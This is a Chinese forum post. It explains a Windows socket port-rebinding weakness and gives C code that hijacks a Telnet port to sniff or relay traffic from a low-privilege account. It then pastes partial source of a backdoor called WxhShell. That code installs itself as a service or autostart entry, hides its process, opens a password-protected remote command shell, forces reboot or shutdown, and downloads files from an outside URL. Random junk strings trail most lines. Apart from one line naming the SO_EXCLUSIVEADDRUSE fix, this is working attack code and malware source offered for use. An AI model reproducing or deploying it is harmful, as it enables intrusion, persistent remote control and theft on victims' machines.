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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:  c(E{6g?  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); ]BZA:dd.G  
q[ZTHd.-  
  saddr.sin_family = AF_INET; =tn)}Y.<e  
y0.'?6k  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); 9C9oUtS  
,vawzq[oSy  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); 0 [# 3;a  
a=1@*ID  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 NC`aP0S  
nFe<w  
  这意味着什么?意味着可以进行如下的攻击: q=m'^ ,gPS  
aQcleTb  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 $am$ EU?s  
Xp% v.M  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) wqs? 828x  
Hqx-~hQO  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 mzKiO_g}  
hJ? O],4J  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  9(7-{,c  
_p/UsJ  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 aEWWP]  
^j7Vt2-  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 6=/F$|  
A#<?4&  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。  -p-ZzgQ  
.},'~NM]  
  #include yNo0ubY  
  #include *W1dG#Np}  
  #include ~?Pw& K2  
  #include    2tEkj=fA-  
  DWORD WINAPI ClientThread(LPVOID lpParam);   [Ek7b *  
  int main() M `M5'f  
  { aCj&O:]=  
  WORD wVersionRequested; :#ik. D  
  DWORD ret; ^|>PA:%  
  WSADATA wsaData; n\D&!y[]F  
  BOOL val; P=Jo+4O  
  SOCKADDR_IN saddr; uym*a4J  
  SOCKADDR_IN scaddr; RJ&RTo  
  int err; xn(kKB.  
  SOCKET s; At>DjKx]O  
  SOCKET sc; vWv"  
  int caddsize; T2W eE@o  
  HANDLE mt; g2ixx+`?|:  
  DWORD tid;   ,Vm < rK  
  wVersionRequested = MAKEWORD( 2, 2 ); hH 3RP{'=  
  err = WSAStartup( wVersionRequested, &wsaData ); {9pZ)tB  
  if ( err != 0 ) { L}b.ulkMD  
  printf("error!WSAStartup failed!\n"); !hy-L_wL]  
  return -1; zxl@(h d  
  } UnV.~u~  
  saddr.sin_family = AF_INET; ,PW'#U:  
   H@>` F  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 i$#;Kpb`^  
q:0N<$63  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); AKfDXy  
  saddr.sin_port = htons(23); ((;!<5-`s  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) Eyqa?$R  
  { @n /nH?L  
  printf("error!socket failed!\n"); 'sKk"bi;0  
  return -1; $( kF#  
  } ]:-mbgW  
  val = TRUE; M"Hf :9Rk  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 ZJJY8k `  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) hWLA<wdb  
  { lgy <?LI\  
  printf("error!setsockopt failed!\n"); !i}w~U<  
  return -1; 8/cX]J  
  } 5Ln,{vsv  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; M FMs[+2_o  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 BwpqNQN  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 7S :\"A7  
lb3b m)@:  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) xm~`7~nFR  
  { _D&598xx  
  ret=GetLastError(); |SSSH  
  printf("error!bind failed!\n"); /C:gKy4  
  return -1; s!zx} 5  
  } G>}255qY  
  listen(s,2); gZXi]m&  
  while(1) AV]2 euyn  
  { my1@41 H  
  caddsize = sizeof(scaddr); J yK3{wYS  
  //接受连接请求 3;9^  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); WE#^a6  
  if(sc!=INVALID_SOCKET) V2EUW!gn 2  
  { !9e=_mY  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); >uRI'24  
  if(mt==NULL) 'JE`(xD  
  { V=l0(03j~  
  printf("Thread Creat Failed!\n"); V1zmGy  
  break; Gb6'n$g  
  } ebhXak[w  
  } u&vf+6=9Dd  
  CloseHandle(mt); khxnlry  
  } +\]\[6  
  closesocket(s); jB2[(  
  WSACleanup(); \V63qg[  
  return 0; g:@#@1rB6  
  }   oZgjQM$YP  
  DWORD WINAPI ClientThread(LPVOID lpParam) h(dvZ= %  
  { %wy.TN  
  SOCKET ss = (SOCKET)lpParam; h;"4+uw  
  SOCKET sc; |HQW0  
  unsigned char buf[4096]; !;A\.~-!G  
  SOCKADDR_IN saddr; .p[ux vp  
  long num; "&u@d~`-n  
  DWORD val; Wn2NMXK  
  DWORD ret; ^^$s%{ep"  
  //如果是隐藏端口应用的话,可以在此处加一些判断 IEi^kJflU  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   U7F!Z( 9  
  saddr.sin_family = AF_INET; tcI*a>  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1");  mq.`X:e  
  saddr.sin_port = htons(23); C< tl/NC  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) dZ@63a>>@  
  { {JT&w6Jz  
  printf("error!socket failed!\n"); f8dB-FlMm  
  return -1; &p@O _0nF  
  } qEOhwrh  
  val = 100; Yj49t_$b  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) v\ )W?i*l  
  { ~36!?&eA8  
  ret = GetLastError(); g3y~bf  
  return -1; {;1\+ f  
  } H7n>Vx:L-  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) ;)*eo_tQ  
  { %tGO?JMkd  
  ret = GetLastError(); ^yp{32  
  return -1; N4!O.POP  
  } Ti5-6%~&  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) r,p%U!S<hV  
  { ZY+qA  
  printf("error!socket connect failed!\n"); 6cXyJW  
  closesocket(sc); I\ob7X'Xu!  
  closesocket(ss); 73;GW4,  
  return -1; ~$^XP.a.  
  } Y$_B1_  
  while(1) PJH&  
  { onzxx4bax  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 ;e*!S}C,  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 sO@Tf\d  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 H.MI5O(Q  
  num = recv(ss,buf,4096,0); e\L8oOk#r  
  if(num>0) )SGq[B6@I  
  send(sc,buf,num,0); F)eelPZ+,  
  else if(num==0) ~4'$yWG  
  break; j\M?~=*w  
  num = recv(sc,buf,4096,0); %.|@]!C  
  if(num>0) Gd85kY@w7  
  send(ss,buf,num,0); bk[!8- b/a  
  else if(num==0) RA L~!"W  
  break; \9T7A&  
  } [7y]n;Fy  
  closesocket(ss); #H~64/  
  closesocket(sc); WpvhTX  
  return 0 ; ;$g?T~v7  
  } f/?P514h  
ef4 i:.  
S_H+WfIHV'  
========================================================== p!%pP}I  
/)O"l@ }U  
下边附上一个代码,,WXhSHELL ]`WJOx4  
p]c%f 2E>d  
========================================================== ?S=mybp  
4*;MJ[|  
#include "stdafx.h" >vsqG=x  
JucY[`|JV  
#include <stdio.h> f|g g  
#include <string.h> HGg@ _9tW  
#include <windows.h> w0unS`\4  
#include <winsock2.h> B9S@(/"7  
#include <winsvc.h> ^iYj[~  
#include <urlmon.h> R4d=S4 i  
Z;"vW!%d  
#pragma comment (lib, "Ws2_32.lib") veECfR;  
#pragma comment (lib, "urlmon.lib") 9>#6*/Oa7  
[Ch.cE_  
#define MAX_USER   100 // 最大客户端连接数 A3*!"3nU  
#define BUF_SOCK   200 // sock buffer />>\IR  
#define KEY_BUFF   255 // 输入 buffer `Q,H|hp;k;  
7{Wny&[0  
#define REBOOT     0   // 重启 aw>#P   
#define SHUTDOWN   1   // 关机 % & bY]w  
d/ @,@8:  
#define DEF_PORT   5000 // 监听端口 sDV Q#}a  
=2x^nW  
#define REG_LEN     16   // 注册表键长度 0{SL&<&  
#define SVC_LEN     80   // NT服务名长度 ddR>7d}N  
C7AUsYM  
// 从dll定义API Ek}A]zC  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 9N3eN  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); d'sZxU  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); akQ7K  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); }ad|g6i`  
8dhUBJ0_  
// wxhshell配置信息 i}?>g-(  
struct WSCFG { ? =+WRjF  
  int ws_port;         // 监听端口 a[TMDU;(/4  
  char ws_passstr[REG_LEN]; // 口令 Y <qm{e  
  int ws_autoins;       // 安装标记, 1=yes 0=no ?bu>r=oIO]  
  char ws_regname[REG_LEN]; // 注册表键名 L/^I*p,  
  char ws_svcname[REG_LEN]; // 服务名 ct}9i"H#1  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 e(G |;a  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 GPkpXVm  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 fikkY=  
int ws_downexe;       // 下载执行标记, 1=yes 0=no 40 0#v|b  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" cN9t{.m  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 YK~%xo  
1-QS~)+  
}; SX-iAS[<  
T]p-0?=4vv  
// default Wxhshell configuration uW3!Yg@  
struct WSCFG wscfg={DEF_PORT, GuL<Z1<c  
    "xuhuanlingzhe",  8dyg1F  
    1, pb=h/8R  
    "Wxhshell", dcT80sOC  
    "Wxhshell", !{41!O,K#  
            "WxhShell Service", _wL BA^d^  
    "Wrsky Windows CmdShell Service", lb1Xsgm{  
    "Please Input Your Password: ", ^sg,\zD 'X  
  1, 4xJQ!>6  
  "http://www.wrsky.com/wxhshell.exe", 0 0U> F  
  "Wxhshell.exe" /H+a0`/  
    }; SK.: Q5:  
+d-NL?c  
// 消息定义模块 A. w:h;7  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 1@=po)Hnp  
char *msg_ws_prompt="\n\r? for help\n\r#>"; ~< x:q6  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; dnuu&Rv  
char *msg_ws_ext="\n\rExit."; P L+sR3bR  
char *msg_ws_end="\n\rQuit."; 3DG_QVg^v  
char *msg_ws_boot="\n\rReboot..."; ?[>3QE  
char *msg_ws_poff="\n\rShutdown..."; 8e"gW >f  
char *msg_ws_down="\n\rSave to "; FNId ;  
w)jISu;RG  
char *msg_ws_err="\n\rErr!"; <_KIK  
char *msg_ws_ok="\n\rOK!"; eKqk= (  
maR"t+  
char ExeFile[MAX_PATH]; VgS_s k  
int nUser = 0; $ o#V#  
HANDLE handles[MAX_USER]; -C&P%tt Y  
int OsIsNt; m9}P9 ?  
B^jc3 VsR  
SERVICE_STATUS       serviceStatus; S`m]f5u|  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; O!bOp=  
?#Q #u|~  
// 函数声明 "Os_vlapHo  
int Install(void); 5d!-G$ @  
int Uninstall(void); &XUiKnNW  
int DownloadFile(char *sURL, SOCKET wsh); Ef13Q]9|  
int Boot(int flag); t9IW/Q  
void HideProc(void); j^2j& Ta  
int GetOsVer(void); v1,oilL  
int Wxhshell(SOCKET wsl); gr-OHeid  
void TalkWithClient(void *cs); yyy|Pw4:Z  
int CmdShell(SOCKET sock); I[X772K  
int StartFromService(void); &~U ]~;@  
int StartWxhshell(LPSTR lpCmdLine); r0 uwPf  
NSA-}2$  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); Tc3yS(aq  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); ^\,E&=/}M  
WvZ8/T'x  
// 数据结构和表定义 0NX,QD  
SERVICE_TABLE_ENTRY DispatchTable[] = 4#hSJ(~7S  
{ ?= fyc1  
{wscfg.ws_svcname, NTServiceMain}, 4x[S\,20  
{NULL, NULL} K8Y=S12Ti  
}; jsi!fx2Rm  
>!)DM]Ri  
// 自我安装 w$-6-rE]d  
int Install(void) R<N ]B  
{ ls)%c  
  char svExeFile[MAX_PATH]; =+d?x 56  
  HKEY key; &W6^sj*k5U  
  strcpy(svExeFile,ExeFile); 3=]sLn0L  
Hc(OI|z~  
// 如果是win9x系统,修改注册表设为自启动 Alw3\_X  
if(!OsIsNt) { %z 4Nl$\  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { c=.(!qdH  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); l0A&9g*l2  
  RegCloseKey(key); mUF,@>o  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { p0<\G  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); <B8!.|19  
  RegCloseKey(key); 0b(N^$js'  
  return 0; fkNbS  
    } e'D&8z_;  
  } I"7u2"@-8j  
} O/(xj2~$ J  
else { vTw>JNVI  
y:qUn!3  
// 如果是NT以上系统,安装为系统服务 'u<juFr  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); K~uq,~  
if (schSCManager!=0) @@ %.t|=  
{ {fn!'  
  SC_HANDLE schService = CreateService >[=^_8M  
  ( (mtk 4  
  schSCManager, C/6V9;U  
  wscfg.ws_svcname, :'*~uJrR  
  wscfg.ws_svcdisp, D]Xsvv #  
  SERVICE_ALL_ACCESS, 5 5c|O  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , q;>7*Y&  
  SERVICE_AUTO_START, M}v/tRI  
  SERVICE_ERROR_NORMAL, |64~ K\X  
  svExeFile, YcK|.Mq':  
  NULL, }s<4{:cv+  
  NULL, :T !'N\7  
  NULL, l}sjD[2  
  NULL, K1!j fp  
  NULL n3 r3"~i  
  ); ur7q [n  
  if (schService!=0) )+t0:GwP`:  
  { =xx]@  
  CloseServiceHandle(schService); 9.B KI/  
  CloseServiceHandle(schSCManager); WKa~[j|-K  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); *w0%d1  
  strcat(svExeFile,wscfg.ws_svcname); Y,t={HiclX  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { ;)^`3`  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); mmRJ9OhS  
  RegCloseKey(key); hJ~Uf5Q  
  return 0; d-r@E3  
    } &t:Gx<]  
  } g:Xhw$x9  
  CloseServiceHandle(schSCManager); _1!OlQ  
} XtSkh] #z!  
} p hzKm9  
Hm'=aff6A  
return 1; bsA-2*Q+  
} G`BU=Fi  
Y+u_IJ  
// 自我卸载 } .y 1;.  
int Uninstall(void) .I0qGg  
{ Jk=I^%~  
  HKEY key; _k ~KZ;l  
l &5QZI0I  
if(!OsIsNt) { v"XGCi91L  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Ay w ;N  
  RegDeleteValue(key,wscfg.ws_regname); .Cl:eu,]  
  RegCloseKey(key); !1{e|p 7  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { q0R -7O(  
  RegDeleteValue(key,wscfg.ws_regname); EkNunCls  
  RegCloseKey(key); @? QoF#D  
  return 0; =wOm}V8 N&  
  } OGg>#vj,s  
} Y^}Z>  
} 3L}!RB  
else { p &"`RS #Z  
W~9tKT4  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); qjdMqoOCjl  
if (schSCManager!=0) #S*/bao#  
{ G5aieD.#  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); sAS:-wp  
  if (schService!=0) MUREiL9L|  
  { 4Vi`* !  
  if(DeleteService(schService)!=0) { jiS_G%G  
  CloseServiceHandle(schService); Q1 $^v0-)  
  CloseServiceHandle(schSCManager); X4Ic;  
  return 0; BB*f4z$Y%  
  } ~8P!XAU56%  
  CloseServiceHandle(schService); z(Pe,zES  
  } IIF] /Ek]  
  CloseServiceHandle(schSCManager); se>8Z4  
} Cdu4U}^H  
} Za3]d+qm  
TNY&asQo  
return 1; v|%Z+w  
} +|'c>,?2H  
b TM{l.Aq3  
// 从指定url下载文件 2ZMb<b4H  
int DownloadFile(char *sURL, SOCKET wsh) v)l8@.  
{ A1D^a,  
  HRESULT hr; 4Thn])%I  
char seps[]= "/"; 9~mh@Kgv  
char *token; Q$1bWUS&  
char *file; IE&!YP(U(  
char myURL[MAX_PATH]; Avd ^  
char myFILE[MAX_PATH]; ?Exv|e  
3U.88{y  
strcpy(myURL,sURL); luuX2Mx>o  
  token=strtok(myURL,seps); q[`]D7W "  
  while(token!=NULL) A3no~)wZn  
  { 57zSu3v4Y  
    file=token; Xti[[sJ  
  token=strtok(NULL,seps); -pa )K"z  
  } C8e !H  
L[H5NUG!  
GetCurrentDirectory(MAX_PATH,myFILE); X4AyX.p  
strcat(myFILE, "\\"); !\i\}feb  
strcat(myFILE, file); +!z{5:  
  send(wsh,myFILE,strlen(myFILE),0); RHq/JD-  
send(wsh,"...",3,0); SHbtWq}T  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); OjF_ %5  
  if(hr==S_OK) xA 1hfe.9  
return 0; e8]\U/  
else SAK!z!t  
return 1; 7_Z#m (  
#H{<gjs]  
} (TwnkXrR,  
7,|c  
// 系统电源模块 Bck7\  
int Boot(int flag) \"^w'ng  
{ 2f:Eof(B  
  HANDLE hToken; {Jx4xpvPo  
  TOKEN_PRIVILEGES tkp; tqeZ#w7  
I8/DR z$A  
  if(OsIsNt) { \2}bi:e 6  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); te !S09(  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); <]4i`6{v  
    tkp.PrivilegeCount = 1; ;F#7Px(q  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; ?) [EO(D  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); D <&X_  
if(flag==REBOOT) { 9h%?QC  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) (+u39NQV  
  return 0; J-) XQDD  
} r'uGWW"w  
else { $dzy%lle  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) D]W$?( =4  
  return 0; 9}uW}yJ  
} )\be2^p  
  } bH2MdU  
  else { 8 <7GdCME  
if(flag==REBOOT) { YoLx>8  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) @` Eg(  
  return 0; XC "'Q+  
} .YnFH$;$  
else { :.d:9Z|_  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) 13%t"-@bh  
  return 0; ^;maotHn  
} MpqZH{:?G  
} CI :`<PZ\-  
t" 7yNs(I  
return 1; ;VNMD 6H  
} Nl9I*x^e  
7&"n`@(.!  
// win9x进程隐藏模块 }X_;X_\3;'  
void HideProc(void) T4 N~(Fi)  
{ P=+nB*hG  
)aao[_ZS  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); VX+jadYdq  
  if ( hKernel != NULL ) dT$M y`>  
  { /43-;"%>  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); -zO2|@S,  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); ''^Y>k  
    FreeLibrary(hKernel); "/6:6`J  
  } =w5O&(  
ZA9sTc[ g  
return; )d-.M  
} @81Vc<dJ  
R:AA,^Z  
// 获取操作系统版本 1>Dl\czn  
int GetOsVer(void) 5"]~oPK  
{ V&|Ed  
  OSVERSIONINFO winfo; ?EpSC&S\  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); #E+gXan  
  GetVersionEx(&winfo); 2gjGeM  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) Gqcz< =/  
  return 1; L9ap(  
  else zT|)uP*  
  return 0; 9cx =@  
} >'5_Y]h4m|  
|*X*n*oI  
// 客户端句柄模块 K+)%KP  
int Wxhshell(SOCKET wsl) + "}=d3E6  
{ q4$+H{xB  
  SOCKET wsh; F3lw@b3])  
  struct sockaddr_in client; xc:!cA{V  
  DWORD myID; -;XKcS7Ue  
~!d/8?!   
  while(nUser<MAX_USER) y}K\%;`[a  
{ s(LT  
  int nSize=sizeof(client); ~i_Tw#}  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize);  6vTo*8D  
  if(wsh==INVALID_SOCKET) return 1; ,prF6*g+WE  
0\~Z5k`IT  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); q )lnS )  
if(handles[nUser]==0) FvuGup`w  
  closesocket(wsh); bo=ZM9  
else !.<T"8BUpv  
  nUser++; LrV{j?2@  
  } $ RwB_F  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); oi&Wo'DX  
&Q=ZwC7#  
  return 0; omf  Rs  
} ]:$ O{y  
L~/qGDXC?  
// 关闭 socket b*mKei  
void CloseIt(SOCKET wsh) >x@P|\  
{ c<BO gNr  
closesocket(wsh); CG&`16KN7  
nUser--; Koln9'tB  
ExitThread(0); tPyyZ#,  
} Xvok1NM,  
 /n^c>)  
// 客户端请求句柄 sNHSr  
void TalkWithClient(void *cs) @l(vYJ:f  
{ T\# *S0^  
G>Em! 4h  
  SOCKET wsh=(SOCKET)cs; Q_"\Q/=?Do  
  char pwd[SVC_LEN]; nCvPB/-  
  char cmd[KEY_BUFF]; ]43bere  
char chr[1]; i=32KI(%  
int i,j; V' 2EPYB  
+1Ph<zq"  
  while (nUser < MAX_USER) { Lx U={Y0  
"%QD{z_L  
if(wscfg.ws_passstr) { Y ?r po  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); v)kEyX'K2d  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); aSYs_?&.  
  //ZeroMemory(pwd,KEY_BUFF); '69ZdP/xX  
      i=0; tNmy& nsA  
  while(i<SVC_LEN) { ! sA_?2$  
LDy<k=;o  
  // 设置超时 @TA9V@?)  
  fd_set FdRead; +|%Sx  
  struct timeval TimeOut; kDYN>``biP  
  FD_ZERO(&FdRead); W;Jx<-#1  
  FD_SET(wsh,&FdRead); `wTlyS3[  
  TimeOut.tv_sec=8; w[Ep*-yeI  
  TimeOut.tv_usec=0; npu6E;'l*  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); V5GkP1L  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); z&$/EP-  
agOk*wH5  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); h? yG<>wI  
  pwd=chr[0]; z&3]%t `C  
  if(chr[0]==0xd || chr[0]==0xa) { 1(GHCxA8G  
  pwd=0; A~{f/%8D  
  break; AzpV4(:an.  
  } $ 'QdFkOr  
  i++; d2ENm%q*PX  
    } [{<dbW\ 9  
6a>H|"P NE  
  // 如果是非法用户,关闭 socket W*xX{$NL  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); >^"BEG9i:  
} M`,XyIn  
"!Rw)=7O  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); IdRdW{o  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); FF Gqa&  
bYh9sO/l  
while(1) { zyN (4  
EZ(^~k=I  
  ZeroMemory(cmd,KEY_BUFF); -lRhz!E]  
(%Oe_*e}Y  
      // 自动支持客户端 telnet标准   ~j @UlP  
  j=0; <-jGqUN_I  
  while(j<KEY_BUFF) { fjDpwb:x)  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); /k"hH\Pp  
  cmd[j]=chr[0]; K{ }4zuZ  
  if(chr[0]==0xa || chr[0]==0xd) { L]2< &%N2  
  cmd[j]=0; R+$8w2#  
  break; GG'Sp53GE  
  } 7-9;PkGG.A  
  j++; N^elVu4 K  
    } ^4`&EF  
_& 4its  
  // 下载文件 h <[+HsI  
  if(strstr(cmd,"http://")) { +~|AT+|iI  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); 1}`LTPW9  
  if(DownloadFile(cmd,wsh)) abY0)t  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); cvAtwQ'  
  else }w!ps{*  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ":d*dl  
  } jgvh[@uB?  
  else { :?r*p>0$  
A1,4kqmE  
    switch(cmd[0]) { B$`lY DqaG  
  gf$HuCh|  
  // 帮助 -%uy63LbHF  
  case '?': { 5&4F,v[zp  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); ,p,Du F  
    break; cq^sq1A:  
  } wt7.oKbW  
  // 安装 Xn7 [n  
  case 'i': { +6%7C C6  
    if(Install()) l6B.6 '4)w  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); &?$\Y,{  
    else Cals?u#U=  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); B {i&~k  
    break; Tj,Nmb>Q7'  
    } g+Ph6W  
  // 卸载 h1%y:[_  
  case 'r': { 2_olT_#  
    if(Uninstall()) :2q ?>\  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); p\ txlT  
    else AZ8UXq  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); wd`R4CKhP]  
    break; %^^h) Wy}  
    } rr>~WjZ3  
  // 显示 wxhshell 所在路径 c=t*I0-OVS  
  case 'p': { 8D~Dd!~P  
    char svExeFile[MAX_PATH]; `03<0L   
    strcpy(svExeFile,"\n\r"); +IsWI;lp  
      strcat(svExeFile,ExeFile); >1XL;)IL>  
        send(wsh,svExeFile,strlen(svExeFile),0); *!u?  
    break; Rc7.M"wzjX  
    } mahi7eU P  
  // 重启 m0iV m|  
  case 'b': { vXPuyR<J  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); F> Mr<k=@;  
    if(Boot(REBOOT)) U~g@TfU;  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); rAatJc"0  
    else { S 1>Z6  
    closesocket(wsh); WRMz]|+}4  
    ExitThread(0); WB"$u2{|i  
    } j];1"50?  
    break; |\p5mh  
    } anitqy#E  
  // 关机 xXa#J)'  
  case 'd': { #HcI4j:s!  
